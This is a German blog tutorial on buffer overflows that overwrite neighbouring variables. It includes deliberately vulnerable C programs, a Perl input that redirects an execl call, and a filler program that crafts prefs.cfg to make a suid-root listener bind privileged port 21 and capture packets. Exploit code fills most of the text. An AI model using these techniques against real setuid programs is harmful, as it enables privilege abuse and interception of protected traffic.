Jeder kennt die 0815 Overflows wie: strcpy(text, argv[1]) ….. LANGWEILIG!
Doch was bleibt uns übrig wenn man zwar aus dem Speicherbereich der
ursprünglichen Variable “ausbrechen” kann, aber nicht bis zur RET kommt sondern nur andere Variablen die im weiteren Programmablauf genutzt werden
überschreiben kann?
tutorial[1] – Praktische Erklärung anhand eines komplett beknackten Beispiels ;D
#include <stdio.h> #include <string.h> #include <unistd.h> int main (int argc, char **argv){ char h [] = "/bin/uname"; char text[100]; if(argc > 1) strncpy(text, argv[1], 110); printf("%s\n", h); execl (h,h, (char *)0); return 0; }
h wird im nachhinein als Argument für execl benutz was für uns aüßerst
attraktiv ist. Hier ein kleiner und selbsterklärender Exploit-Log:
./test `perl -e 'printf "a"x110'`
./test `perl -e 'printf "a"x100 . "/bin/ls\x00"'`
Somit konnten wir das Überschreiben von unseren programmeigenen Variablen
erfolgreich auszunutzen.
tutorial[2] – Praktische Erklärung anhand eines komplett beknackten und
umfangreicherem Beispiel ;D
Folgendes Szenario: Wir sind auf einer Linux user-shell gelandet.
Wir haben keine Root Rechte finden allerdings ein suid-root Programm
+ Quellcode.
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <strings.h> int main(int argc, char **argv) { int s,c, i; socklen_t addr_len; struct sockaddr_in addr; char file_line[60]; char recvb[1024]; s = socket(AF_INET, SOCK_STREAM, 0); if(atoi(argv[1]) < 1024) return 1338; addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = htons(atoi(argv[1])); addr.sin_family = AF_INET; FILE *fp = fopen("prefs.cfg", "r"); for(i = 0; i < 65; i++) file_line[i] = getc(fp); fclose(fp); bind(s, (struct sockaddr*)&addr, sizeof(addr)); listen(s, 3); addr_len = sizeof(addr); for(;;){ c = accept(s, (struct sockaddr*)&addr, &addr_len); recv(c, recvb, sizeof(recvb), 0); printf("%s\n", recvb); close(c); } close(s); return 0; }
kleiner sind als 1024 lauschen. Dies wollen wir umgehen und mit unserem
Programm Packete ergaunern die auf schützenswerten Ports geschickt werden.
Wer das Programm selbst Exploiten möchten sollte hier aufhören zu lesen,
viel Glück!
Für alle anderen Schwachmaten:
.... struct sockaddr_in addr; char file_line[60]; .... FILE *fp = fopen("prefs.cfg", "r"); for(i = 0; i < ---->65<-----; i++) file_line[i] = getc(fp); fclose(fp);
indem wir die Datei prefs.cfg mit 65 Bytes füllen (Wir können gottseidank Nullbytes
verwenden).
Was nützt uns das?
... addr.sin_addr.s_addr = INADDR_ANY; --->>addr.sin_port = htons(atoi(argv[1])); addr.sin_family = AF_INET; ...
Somit auch der Port! Nun müssen wir herausfinden wie diese vier Bytes
aussehen wenn wir z.b auf Port 21 lauschen wollen.
Dazu schreiben wir uns ein kleines Hilfprogramm welches wir Lokal ausführen:
#include <string.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> int main () { struct sockaddr_in addr; memset(&addr, 0x0, sizeof(addr)); addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = htons(21); addr.sin_family = AF_INET; printf("%x\n", addr); return 0; }
Das bedeutet: 0×1500 = Rückgabe von htons()
0×00 = Irgendwie zwingend vielleicht noch ein anderer Sinn.
0×02 = Die sin_family.
Somit brauchen wir uns nur noch ein Programm schreiben was uns die
pref.cfg entsprechend füllt und unser Victim starten.
#include <stdio.h> #include <string.h> int main (){ char buffer[66]; memset(buffer, 'a', 64); buffer[60] = 0x02; buffer[61] = 0x00; buffer[62] = 0x00; buffer[63] = 0x15; FILE *fp = fopen("prefs.cfg", "w"); int i; for(i = 0; i < 65; i++) putc(buffer[i], fp); fclose(fp); }
./filler ./victim 5555 [PACKETE AUF PORT 21]
~fred
Keine Kommentare:
Kommentar veröffentlichen